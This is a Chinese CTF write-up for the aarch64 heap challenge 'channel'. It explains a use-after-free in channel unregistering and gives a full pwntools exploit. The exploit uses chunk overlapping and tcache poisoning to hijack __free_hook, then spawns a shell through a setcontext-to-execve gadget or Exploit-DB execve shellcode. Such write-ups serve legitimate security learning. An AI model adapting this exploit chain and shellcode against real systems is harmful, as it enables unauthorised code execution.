[PWN] - channel

程序分析

程序架构 aarch64,GLIBC 版本 2.31。题目附件提供一个静态编译版本的 qemu(qemu-aarch64-static)。

Register

使用malloc分配一个CHANNEL结构体,输入 0x100 字节数据作为它的key。创建后,插入HEAD全局变量(qword_12018)指向的链表首部。

  1. struct CHANNEL
  2. {
  3. char key[256];
  4. struct CHANNEL *next_channel;
  5. struct NODE *next_node;
  6. };

Write

主要是创建并向CHANNEL添加NODE结构体。

首先根据输入的key,从HEAD指向的链表搜索
CHANNEL;找到对应的CHANNEL后,用malloc分配0< size <= 0x200的堆内存,编辑堆内存,最后创建NODE结构体并将其添加到CHANNELnext_node指针指向的链表尾部。

  1. struct NODE
  2. {
  3. char *ptr;
  4. struct NODE *next;
  5. };

Read

没什么用。主要是打印CHANNELNODE链表第一个元素,然后将元素从链表移除。

UnResiger

HEAD链表移除CHANNEL

根据输入的key

  1. 若链表只有一个CHANNELkey相符,用free释放HEAD指向的CHANNEL并清空HEAD
  2. 否则,若keyHEAD指向的CHANNEL相符,将HEAD指向下一个CHANNEL,然后释放原来的CHANNEL
  3. 否则,遍历HEAD链表。若key与某个next_channel指针指向的CHANNEL相符,用free释放这个CHANNEL

BUG

UnResiger 遍历HEAD链表时,没有将释放后的next_channel指针清空,导致 use-after-free 或者 double-free

题目限制比较多:

  1. NODE只能在分配的时候编辑一次,不能用free释放。
  2. 不能直接操纵HEAD链表上面的指针地址。
  3. 不能泄露任何地址(当然没有必要泄露)。

比赛期间我没有解出这道题。后来看了师兄的 EXP 才发现自己的做题方向错了:其实只需使用 Chunk Overlapping 就能劫持 freed tcache chunk 实现任意地址分配,没有必要使用 GLIBC 2.31 新版本利用手法。

由于 QEMU 的原因,本题漏洞利用难度不大,因为 在 User Mode Emulation 下,被模拟程序的内存地址空间是固定的、堆和栈内存都是可执行的 ,相当于直接无视程序原本启用的 PIE、NX 保护措施。在程序基址、libc 基址和堆基址均已知的情况下,堆布局和劫持控制流变得十分容易。

漏洞利用

主要思路: 首先构建一个正好覆盖某个CHANNEL结构体的 overlapping chunk;然后释放被覆盖的CHANNEL到 tcache 后,利用 use-after-free 修改另一个CHANNELnext_channel指针指向 overlapping chunk;最后通过 overlapping chunk 修改 tcache fd 实现任意地址分配。

STEP1: 分配五个CHANNELA、B、C、ctx1 和 ctx2。创建 A 后,添加一个 0x10 大小的NODE作为 overlapping chunk 头。overlapping chunk 大小为 0x150,overlap 了NODE和后面的 B(0x150=0x10+0x20+0x120)。

  1. reg("A")
  2. write("A", 0x10, flat([0, 0x151])) # fake chunk, size 0x150, overlapping B
  3. reg("B")
  4. reg("C")
  5. reg(ctx1)
  6. reg(ctx2)

此时HEAD链表:ctx2->ctx1->C->B->A->(nil)

先释放 A,再释放 B。注意由于 UnResiger 的 BUG,A、B 和下文释放的 C 仍然存在于HEAD链表中。

  1. unreg("A")
  2. unreg("B")

STEP2: 释放C,然后立刻使用 Write 重新分配回来。将next_channel指针修改为 overlapping chunk 地址。

  1. # c->next_channel = overlapping chunk
  2. unreg("C")
  3. write(ctx1, 0x110, b'C'.ljust(0x100, NUL) + p64(heapbase+0x7e0))

以 overlapping chunk 前 0x100 字节数据作为key,利用
UnResiger 释放 overlapping chunk 。

  1. # free c->next_head (aka overlapping chunk)
  2. key = flat([0, 0x21, heapbase+0x7d0, 0, 0, 0x121, heapbase+0x6b0, heapbase+0x10])
  3. unreg(key)

STEP3: 最后使用 Write 分配得到 overlapping chunk,这样就能修改位于 tcache 里面 B 的 fd了。

  1. # edit fake chunk, set B fd = free_hook
  2. ctx += [0, 0, 0, 0]
  3. ctx += [0, 0x121, libcbase+0x16FC30] # free_hook
  4. write(ctx1, 0x140, flat(ctx))

将 fd 指向free_hook后,两次分配就能得到free_hook

  1. reg("B")
  2. # get and edit free_hook
  3. write(ctx1, 0x110, p64(libcbase+0x42B6C)) # setcontext+0x8c

方法一:setcontext+execve

最初我想用system+/bin/sh地址的方法来 getshell。由于不明原因(可能是栈没对齐),system总是出现 SEGFAULT 或者 stack smashing的错误,无法 getshell。最后我使了用setcontext+execve的方法成功 getshell。

主要思路: 利用setcontext劫持控制流和前三个参数,执行execve("/bin/sh", NULL, NULL)

在 aarch64 GLIBC 2.31 下,setcontext gadget 十分容易利用。我们一共需要控制 4 个寄存器:pc寄存器和x0 / x1 / x2三个参数寄存器,而setcontext设置这些寄存器的代码恰好位于函数结尾附近,正好形成一个 gadget。

  1. .text:0000000000042B6C LDR X16, [X0,#0x1B8] ; pc = [x0+0x1b8]
  2. .text:0000000000042B70 LDP X2, X3, [X0,#0xC8]
  3. .text:0000000000042B74 LDP X4, X5, [X0,#0xD8]
  4. .text:0000000000042B78 LDP X6, X7, [X0,#0xE8]
  5. .text:0000000000042B7C LDP X0, X1, [X0,#0xB8] ; x0 = [x0+0xb8]
  6. .text:0000000000042B80 BR X16

因此只需控制好x0寄存器,我们就能十分容易地劫持控制流到execve了(题外话,x64 GLIBC 2.31 还需要控制RDX寄存器,利用比以前麻烦多了)。

STEP1: 在一开始分配CHANNEL时,将execve/bin/sh地址放置到ctx1ctx2key上的特定位置。

  1. # Place ucontext in heap
  2. ctx1 = NUL*0xb8 + p64(0x128950+libcbase) # x0 = "/bin/sh", x1 = x2 = '\x00'
  3. ctx2 = NUL*0x98 + p64(0xA3EC0+libcbase) # pc = execve
  4. reg(ctx1)
  5. reg(ctx2)

STEP2: 修改free_hooksetcontext后,释放ctx1即可 getshell。

  1. unreg(ctx1)

title

execve将整个qemu进程切换成 x64 的/bin/sh,无需准备 aarch64 版本的sh

方法二:shellcode

还有一种更加简单的方法:执行 shellcode。由于 User Mode Emulation 的特性,被模拟程序不受 NX 保护措施影响,堆内存(以及栈内存)仍然是可执行的。

STEP1: 将 shellcode 放置在任意一个堆块上,然后将free_hook指向这个堆块。

shellcode 可以使用asm(shellcraft.sh())生成或者去Exploit-DBShell storm上面找一个。

我在 Exploit-DB 找了一个execve("/bin/sh", NULL, NULL)的 shellcode(电脑刚好没装 aarch64 版的 Binutils,asm用不了)。

  1. # https://www.exploit-db.com/exploits/47048
  2. shellcode = b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
  3. reg(shellcode)
  4. # get and edit free_hook
  5. write(ctx1, 0x110, p64(heapbase+0x810)) # shellcode on heap

STEP2: 调用free函数后,就能执行 shellcode 了。

  1. unreg(ctx1)

title

其他

GDB 库文件符号问题

使用 QEMU 模拟执行非宿主结构程序,需要使用-L参数指定运行依赖库文件所在目录。以本题为例,需要将题目提供的ld-linux-aarch64.so.1libc-2.31.so(改名为libc.so.6)放置到某个目录的lib目录下:

  1. root@2d29eb9d6b1c:/pwn# ls -l ./root/lib
  2. total 1556
  3. -rw-r--r-- 1 root root 145208 May 15 07:01 ld-linux-aarch64.so.1
  4. -rw-r--r-- 1 root root 1442744 May 15 07:02 libc.so.6

然后指定-L参数运行:./qemu-aarch64-static -L ./root ./channel

这样导致 GDB 无法搜索到libc.so.6文件的正确路径,从而无法加载符号表。如下图,缺少符号表导致 pwndbg 不能标识地址的符号名称:

title

vmmap显示不了被模拟程序的内存空间:

title

使用info sharedlibrary查看 GDB 库文件的加载状况,可以发现 GDB 仍然使用程序原来的库文件路径:

  1. pwndbg> info sharedlibrary
  2. warning: Could not load shared library symbols for 2 libraries, e.g. /lib/libc.so.6.
  3. Use the "info sharedlibrary" command to see the complete listing.
  4. Do you need "set solib-search-path" or "set sysroot"?
  5. From To Syms Read Shared Object Library
  6. No /lib/libc.so.6
  7. No /lib/ld-linux-aarch64.so.1

解决方法是使用set solib-search-path或者set sysroot指定 GDB 库文件路径。

以上面的路径为例,设置set sysroot ./root后,GDB 正确地搜索到库文件的文章:

  1. pwndbg> info sharedlibrary
  2. From To Syms Read Shared Object Library
  3. 0x00000040008150c0 0x000000400082d3e8 Yes (*) ./root/lib/ld-linux-aarch64.so.1
  4. 0x00000040008707c0 0x000000400095fc90 Yes (*) ./root/lib/libc.so.6
  5. (*): Shared library is missing debugging information.

GDB 正常显示符号:

title

vmmap正常显示内存空间,从这里可以知道程序基址和 libc 库基址:

title

注意 pwngdb 的codebase/heapbase/libcbase命令返回的仍然是错误的地址(返回的是qemu进程的地址)。

free_hook 偏移地址

本题需要用到free_hook劫持程序控制流,一般使用pwntools查找它的偏移地址。

  1. elf = ELF("./libc-2.31.so")
  2. print(hex(elf.symbols["__free_hook"])) #0x16fc30

pwntools偶尔会返回错误的结果,原因不明。我做题的时候也遇到了几次,但最后无法复现。

这里介绍一种通过查看汇编代码来寻找free_hook偏移地址的思路,适用于某些特殊场合(比如给出的 libc 库已 stripped)。

对于mallocfree等使用hook的函数,函数开头一般是检查hook是否为非空的代码,若非空,则转跳到hook指向的地址。所以我们很容易地在函数开头处找到hook的引用或者引用指针。

以本题 aarch64 GLIBC 2.31 找 free_hook为例。首先用 IDA 打开free函数,很容易在函数开头发现一个__free_hook_ptr的东西,这是__free_hook的GOT表。点击进入__free_hook_ptr后,就能找到__free_hook的内存位置了。

如果给的 libc 库没有带符号信息,可以结合上下文和汇编指令判断(注意,x86/x64没有 __free_hook_ptrfree直接引用__free_hook)。

  1. .text:0000000000079908 STP X29, X30, [SP,#var_30]!
  2. .text:000000000007990C ADRP X1, #__free_hook_ptr@PAGE ; 加载 __free_hook_ptr 地址
  3. .text:0000000000079910 MOV X29, SP
  4. .text:0000000000079914 LDR X1, [X1,#__free_hook_ptr@PAGEOFF] ; 加载 __free_hook 地址
  5. .text:0000000000079918 LDR X2, [X1] ; 加载 __free_hook 的值
  6. .text:000000000007991C CBNZ X2, loc_799C4 ; __free_hook 值非空,转跳到__free_hook

GDB 调试 QEMU 模拟程序

QEMU 使用-g参数后,GDB 可以调试模拟程序。用 kill 命令对 qemu 进程发送 SIGTRAP 信号可以使模拟程序暂停,相当于按下Ctrl+C

EXP

  1. from pwn import *
  2. context(arch="aarch64", log_level="debug")
  3. DEBUG=1
  4. if DEBUG:
  5. p = process(["./qemu-aarch64-static", "-g", "1234", "-L", "./root", "./channel"])
  6. gdb.attach(("127.0.0.1", 1234), "set sysroot ./root\nc", exe="./channel")
  7. else:
  8. p = process(["./qemu-aarch64-static", "-L", "./root", "./channel"])
  9. '''
  10. root@2d29eb9d6b1c:/pwn# ls -l ./root/lib
  11. total 1556
  12. -rw-r--r-- 1 root root 145208 May 15 07:01 ld-linux-aarch64.so.1
  13. -rw-r--r-- 1 root root 1442744 May 15 07:02 libc.so.6
  14. '''
  15. NUL=b'\x00'
  16. p_sl = lambda ctx, ind: p.sendlineafter(ind, ctx)
  17. p_s = lambda ctx, ind: p.sendafter(ind, ctx)
  18. def p_ins():
  19. if DEBUG:
  20. os.kill(p.pid, signal.SIGTRAP)
  21. def reg(key):
  22. p_sl('1', ">")
  23. p_s(key.ljust(0x100, NUL), "key>")
  24. def unreg(key):
  25. p_sl('2', ">")
  26. p_s(key.ljust(0x100, NUL), "key>")
  27. def write(key, len, ctx='\x00'):
  28. p_sl('4', ">")
  29. p_s(key.ljust(0x100, NUL), "key>")
  30. p_sl(str(len), "len")
  31. p_s(ctx, "content")
  32. libcbase = 0x4000850000
  33. heapbase = 0x40009c4000
  34. reg(b"A")
  35. write(b"A", 0x10, flat([0, 0x151])) # overlapping chunk, size 0x150, overlapping B
  36. reg(b"B")
  37. reg(b"C")
  38. # Place ucontext in heap
  39. ctx1 = NUL*0xb8 + p64(0x128950+libcbase) # x0 = "/bin/sh"
  40. ctx2 = NUL*0x98 + p64(0xA3EC0+libcbase) # pc = execve
  41. reg(ctx1)
  42. reg(ctx2)
  43. # send A, B to tcache
  44. unreg(b"A")
  45. unreg(b"B")
  46. # c->next_channel = overlapping chunk
  47. unreg(b"C")
  48. write(ctx1, 0x110, b'C'.ljust(0x100, NUL) + p64(heapbase+0x7e0))
  49. # free c->next_channel (aka overlapping chunk)
  50. key = flat([0, 0x21, heapbase+0x7d0, 0, 0, 0x121, heapbase+0x6b0, heapbase+0x10])
  51. unreg(key)
  52. # edit overlapping chunk, set B fd = free_hook
  53. ctx = [0, 0, 0, 0, 0, 0x121, libcbase+0x16FC30] # free_hook
  54. write(ctx1, 0x140, flat(ctx))
  55. #######################################################################
  56. def setcontext_execve():
  57. reg(b"B")
  58. # get and edit free_hook
  59. write(ctx1, 0x110, p64(libcbase+0x42B6C)) # setcontext+0x8c
  60. def shellcode_on_heap():
  61. # https://www.exploit-db.com/exploits/47048
  62. shellcode = b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
  63. reg(shellcode)
  64. # get and edit free_hook
  65. write(ctx1, 0x110, p64(heapbase+0x810)) # shellcode on heap
  66. #######################################################################
  67. #shellcode_on_heap()
  68. setcontext_execve()
  69. # getshell (setcontext+execve or shellcode)
  70. p_ins() # b *0x40008c99d4
  71. unreg(ctx1)
  72. p.interactive()
打赏还是打残,这是个问题
[PWN] SATool
web3
立即登录, 发表评论.
没有帐号? 立即注册
0 条评论